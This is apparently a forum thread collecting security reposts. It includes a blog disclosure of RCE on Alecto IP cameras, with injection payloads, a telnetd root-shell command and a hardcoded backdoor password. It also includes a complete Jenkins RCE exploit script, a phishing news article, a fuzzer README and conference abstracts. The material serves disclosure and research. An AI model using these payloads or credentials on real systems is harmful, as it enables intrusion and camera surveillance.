Maurits van Altvorst Achieving remote code execution on a Chinese IP camera February 14, 2019 Background Cheap Chinese Internet of Things devices are on the rise. Unfortunately, security on these devices is often an afterthought. I recently got my hands on an “Alecto DVC-155IP” IP camera. It has Wi-Fi, night vision, two-axis tilt and yaw control, motion sensing and more. My expectations regarding security were low, but this camera was still able to surprise me. Setting up the camera Setting up the camera using the app was a breeze. I had to enter my Wi-Fi details, a name for the camera and a password. Nothing too interesting so far. Using Nmap on the camera gave me the following results: ➜ ~ nmap -A 192.168.178.59 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 12:59 CET Nmap scan report for 192.168.178.59 Host is up (0.010s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http thttpd 2.25b 29dec2003 |_http-server-header: thttpd/2.25b 29dec2003 |_http-title: Site doesn't have a title (text/html; charset=utf-8). 554/tcp open rtsp HiLinux IP camera rtspd V100R003 (VodServer 1.0.0) |_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY Service Info: Host: RT-IPC; Device: webcam Three open ports: 23, 80 and 554. Surprisingly, port 23 doesn’t get mentioned anywhere in the manual. Is this some debug port from the manufacturer, or a backdoor from the Chinese government? After manually testing a few passwords via telnet I moved on. When I connected to the admin panel - accessible on port 80 - I was greeted with a standard login screen that prompts the user for a username and password. The first step I took was opening the Chrome developer tab. This allows you to inspect the network requests that Chrome made while visiting a website. I saw that there were a lot of requests being made for a simple login page. My eye quickly fell on a specific request: /cgi-bin/hi3510/snap.cgi?&-getstream&-chn=2 Hmm, “getstream”, I wonder what happens if I open this in another tab… Within 2 minutes I’ve gained unauthenticated access to the live view of the camera. I knew that cheap Chinese cameras weren’t secure, but I didn’t expect it was this bad. Other observations While looking through the network requests, I noticed some more notable endpoints: You are able to get the Wi-Fi SSID, BSSID, and password from the network the camera is connected to by visiting /cgi-bin/getwifiattr.cgi. This allows you to retrieve the location of the camera via a service such as wigle.net. You are able to set the camera’s internal time via /cgi-bin/hi3510/setservertime.cgi?-time=YYYY.MM.DD.HH.MM.SS&-utc. I’m not sure if this opens up any attack vectors, but it’s interesting nonetheless. It might be possible to do some interesting things by sending invalid times or big strings, but I don’t want to risk bricking my camera testing this. You are able to get the camera’s password via /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=get. Of course, you don’t even need the password to log in. Just set the “AuthLevel” cookie to 255 and you instantly get admin access. You are able to get the serial number, hardware revision, uptime, and storage info via /web/cgi-bin/hi3510/param.cgi?cmd=getserverinfo All of these requests are unauthenticated. Remote code execution Let’s take another look at the requests made on the login page. You can see a lot of “.cgi” requests. CGI-files are “Common Gateway Interface” files. They are executable scripts used in web servers to dynamically create web pages. Because they’re often based on bash scripts, I started focusing on these requests first because I thought I might find an endpoint susceptible to bash code injection. To find out if a .cgi endpoint was vulnerable, I tried substituting some request parameters with $(sleep 3). When I tried /cgi-bin/p2p.cgi?cmd=p2p.cgi&-action=$(sleep 3), it took a suspiciously long time before I got back my response. To confirm that I can execute bash code, I opened Wireshark on my laptop and sent the following payload to the camera: $(ping -c2 192.168.178.243) And sure enough, I saw two ICMP requests appear on my laptop. But surely, nobody in their right mind would connect such a cheap, insecure IP camera directly to the internet, right? That’s 710 Alecto DVC-155IP cameras connected to the internet that disclose their Wi-Fi details (which means that I can figure out its location by using a service such as wigle.net), allow anyone to view their live stream and are vulnerable to RCE. And this is just their DVC-155IP model, Alecto manufactures many different IP cameras each running the same software. Returning to port 23 Now that I’m able to run commands, it’s time to return to the mysterious port 23. Unfortunately, I’m not able to get any output from the commands I execute. Using netcat to send the output of the commands I executed also didn’t work for some reason. After spending way too much time without progress, this was the command that did the trick: telnetd -l/bin/sh -p9999 This starts a telnet server on port 9999. And sure enough, after connecting to it I was greeted with an unauthenticated root shell. Reading /etc/passwd gave me the following output: root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh I didn’t even have to start Hashcat for this one: a quick Google search of the hash was all I needed to find that the password of the mysterious backdoor port was cat1029. Yes, the password to probably thousands of IP cameras on the internet is cat1029. And the worst part is that there’s no possible way to change this password anywhere in the typical user interface. Contacting the manufacturer When I contacted Alecto with my findings, they told me they weren’t able to solve these problems because they didn’t create the software for their devices. After a quick Shodan search I found that there were also internet connected cameras from other brands, such as Foscam and DIGITUS, that had these vulnerabilities. Their user interfaces look different, but they were susceptible to the same exact vulnerabilities via the same exact endpoints. It seems that these IP cameras are manufactured by a Chinese company in bulk (OEM). Other companies like Alecto, Foscam, and DIGITUS, resell them with slightly modified firmware and custom branding. A vulnerability in the Chinese manufacturer’s software means that all of its children companies are vulnerable too. Unfortunately, I don’t think that the Chinese OEM manufacturer will do much about these vulnerabilities. I guess that the phrase “The S in IoT stands for security” is true after all. Author | Maurits van Altvorst I'm 16 years old and a student from Gemeentelijk Gymnasium Hilversum. You can find my Github here and my Linkedin here Sursa: https://www.mauritsvanaltvorst.com/rce-chinese-ip-cameras/
-
- 1
-
-
WARNING – New Phishing Attack That Even Most Vigilant Users Could Fall For February 15, 2019Mohit Kumar How do you check if a website asking for your credentials is fake or legit to log in? By checking if the URL is correct? By checking if the website address is not a homograph? By checking if the site is using HTTPS? Or using software or browser extensions that detect phishing domains? Well, if you, like most Internet users, are also relying on above basic security practices to spot if that "Facebook.com" or "Google.com" you have been served with is fake or not, you may still fall victim to a newly discovered creative phishing attack and end up in giving away your passwords to hackers. Antoine Vincent Jebara, co-founder and CEO of password managing software Myki, told The Hacker News that his team recently spotted a new phishing attack campaign "that even the most vigilant users could fall for." Vincent found that cybercriminals are distributing links to blogs and services that prompt visitors to first "login using Facebook account" to read an exclusive article or purchase a discounted product. That’s fine. Login with Facebook or any other social media service is a safe method and is being used by a large number of websites to make it easier for visitors to sign up for a third-party service quickly. Generally, when you click "log in with Facebook" button available on any website, you either get redirected to facebook.com or are served with facebook.com in a new pop-up browser window, asking you to enter your Facebook credentials to authenticate using OAuth and permitting the service to access your profile’s necessary information. However, Vincent discovered that the malicious blogs and online services are serving users with a very realistic-looking fake Facebook login prompt after they click the login button which has been designed to capture users’ entered credentials, just like any phishing site. As shown in the video demonstration Vincent shared with The Hacker News, the fake pop-up login prompt, actually created with HTML and JavaScript, are perfectly reproduced to look and feel exactly like a legitimate browser window—a status bar, navigation bar, shadows and URL to the Facebook website with green lock pad indicating a valid HTTPS. Moreover, users can also interact with the fake browser window, drag it here-and-there or exit it in the same way any legitimate window acts. The only way to protect yourself from this type of phishing attack, according to Vincent, "is to actually try to drag the prompt away from the window it is currently displayed in. If dragging it out fails (part of the popup disappears beyond the edge of the window), it's a definite sign that the popup is fake." Besides this, it is always recommended to enable two-factor authentication with every possible service, preventing hackers from accessing your online accounts if they somehow manage to get your credentials. Phishing schemes are still one of the most severe threats to users as well as companies, and hackers continue to try new and creative ways to trick you into providing them with your sensitive and financial details that they could later use to steal your money or hack into your online accounts. Stay tuned, stay safe! Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/advance-phishing-login-page.html?m=1
-
- 2
-
-
#!/usr/bin/python # Author: Adam Jordan # Date: 2019-02-15 # Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc # PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative) import argparse import jenkins import time from xml.etree import ElementTree payload = ''' import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ } print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString() ''' def run_command(url, cmd, job_name, username, password): print '[+] connecting to jenkins...' server = jenkins.Jenkins(url, username, password) print '[+] crafting payload...' ori_job_config = server.get_job_config(job_name) et = ElementTree.fromstring(ori_job_config) et.find('definition/script').text = payload % cmd job_config = ElementTree.tostring(et, encoding='utf8', method='xml') print '[+] modifying job with payload...' server.reconfig_job(job_name, job_config) time.sleep(3) print '[+] putting job build to queue...' queue_number = server.build_job(job_name) time.sleep(3) print '[+] waiting for job to build...' queue_item_info = {} while 'executable' not in queue_item_info: queue_item_info = server.get_queue_item(queue_number) time.sleep(1) print '[+] restoring job...' server.reconfig_job(job_name, ori_job_config) print '[+] fetching output...' last_build_number = server.get_job_info(job_name)['lastBuild']['number'] console_output = server.get_build_console_output(job_name, last_build_number) print '[+] OUTPUT:' print console_output if __name__ == '__main__': parser = argparse.ArgumentParser(description='Jenkins RCE') parser.add_argument('--url', help='target jenkins url') parser.add_argument('--cmd', help='system command to be run') parser.add_argument('--job', help='job name') parser.add_argument('--username', help='username') parser.add_argument('--password', help='password') args = parser.parse_args() run_command(args.url, args.cmd, args.job, args.username, args.password) Sursa: https://gist.github.com/adamyordan/96da0ad5e72cbc97285f2df340cac43b
-
- 1
-
-
pe-afl combines static binary instrumentation on PE binary and WinAFL so that it can fuzz on windows user-mode application and kernel-mode driver without source or full symbols or hardware support details, benchmark and some kernel-mode case study can be found on slide, which is presented on BluehatIL 2019 it is not so reliable and dirty, but it works and high-performance i reported bugs on office,gdiplus,jet,clfs,cng,hid,... by using this tool the instrumentation part on PE can be reused on many purpose How-to instrument instrument 2 NOP on entry point of calc.exe ida.exe demo\calc.exe # loading with pdb is more reliable if pdb is available File->script file->ida_dump.py python instrument.py -i"{0x1012d6c:'9090'}" demo\calc.exe demo\calc.exe.dump.txt # 0x1012d6c is entry point address, you can instrument from command-line or from __main__ in instrument.py instrument each basic block for fuzzing ida.exe demo\msjet40.dll File->script file->ida_dump.py python pe-afl.py -m demo\msjet40.dll demo\msjet40.dll.dump.txt # msjet40 is multi-thread, so -m is here # see fuzz JetDB on win7 ps. instrument script run faster on non-windows How-to fuzz you have to implement the wrapper/harness (AFL\test_XXX) depends on target and add anything you want, such page heap, etc fuzz JetDB on win7 copy /Y msjet40.instrumented.dll C:\Windows\System32\msjet40.dll bin\afl-showmap.exe -o NUL -p msjet40.dll -- bin\test_mdb.exe demo\mdb\normal.mdb # make sure that capture is OK bin\AFL.exe -i demo\mdb -o out -t 5000 -m none -p msjet40.dll -- bin\test_mdb.exe @@ fuzz CLFS on win10 install_helper.bat disable_dse.bat copy /Y clfs.instrumented.sys C:\Windows\System32\drivers\clfs.sys # reboot if necessary bin\afl-showmap.exe -o NUL -p clfs.sys -- bin\test_clfs.exe demo\blf\normal.blf # make sure that capture is OK bin\AFL.exe -i demo\blf -o out -t 5000 -m none -p clfs.sys -- bin\test_clfs.exe @@ How-to trace import driver execution trace into lighthouse ida.exe demo\clfs.sys File->script file->ida_dump.py python pe-afl.py -cb demo\clfs.sys demo\clfs.sys.dump.txt copy /Y clfs.instrumented.sys C:\Windows\System32\drivers\clfs.sys # reboot if necessary bin\afl-showmap.exe -o NUL -p clfs.sys -d -- bin\test_clfs.exe demo\blf\normal.blf # output is trace.txt python lighthouse_trace.py demo\clfs.sys demo\clfs.sys.mapping.txt trace.txt > trace2.txt # install lighthouse xcopy /y /e lighthouse [IDA folder]\plugins\ ida.exe demo\clfs.sys File->Load File->Code coverage file->trace2.txt TODO support x64 Sursa: https://github.com/wmliang/pe-afl
-
Abstracts Attacking Edge Through the JavaScript Just-In-Time Compiler Bruno Keith / Thursday, Feb 7, 10:30-11:15 AM Bridging Emulation and the Real World with the Nintendo Game Boy Or Pinchasof / Wednesday, Feb 6, 3:15-4:00 PM Hardening Secure Boot on Embedded Devices for Hostile Environments Niek Timmers | Riscure, Albert Spruyt, Cristofaro Mune | Pulse Security Wednesday, Feb 6, 11:45-12:30 PM Life as an iOS Attacker Luca Todesco (@qwertyoruiop) / Thursday, Feb 7, 5:15-6:00 PM Make Static Instrumentation Great Again: High Performance Fuzzing for Windows System Lucas Leong, Trend Micro / Thursday, Feb 7, 4:30-5:15 PM No Code No Crime: UPnP as an Off-the-Shelf Attacker's Toolkit x0rz / Thursday, Feb 7, 12:30-1:00 PM PE-sieve: An Open-Source Process Scanner for Hunting and Unpacking Malware Hasherezade / Thursday, Feb 7, 2:30-3:15 PM Postscript Pat and His Black and White Hat Steven Seeley / Thursday, Feb 7, 3:15-4:00 PM Practical Uses for Hardware-assisted Memory Visualization Ulf Frisk / Wednesday, Feb 6, 4:30-5:15 PM Supply Chain Security: "If I were a Nation State..." Andrew "bunnie" Huang / Wednesday, Feb 6, 10:30-11:15 AM The AMDFlaws Story: Technical Deep Dive Ido Li On & Uri Farkas, CTS Labs / Wednesday, Feb 6, 5:15-6:00 PM The Things That Lurk in the Shadows Costin Raiu, Kaspersky Lab / Wednesday, Feb 6, 12:30-1:00 PM Transmogrifying Other People's Marketing into Threat Hunting Treasures Using Machine Learning Magic Bhavna Soman, Microsoft / Wednesday, Feb 6, 1:00-1:30 PM Trends, Challenges, and Strategic Shifts in the Software Vulnerability Mitigation Landscape Matt Miller, Microsoft / Thursday, Feb 7, 11:45-12:30 PM Who’s Watching the Watchdog? Uncovering a Privilege Escalation Vulnerability in OEM Driver Amit Rapaport, Microsoft / Thursday, Feb 7, 1:00-1:30 PM You (dis)liked mimikatz? Wait for kekeo Benjamin Delpy (@gentilkiwi) / Wednesday, Feb 6, 2:30-3:15 PM Sursa: https://www.bluehatil.com/abstracts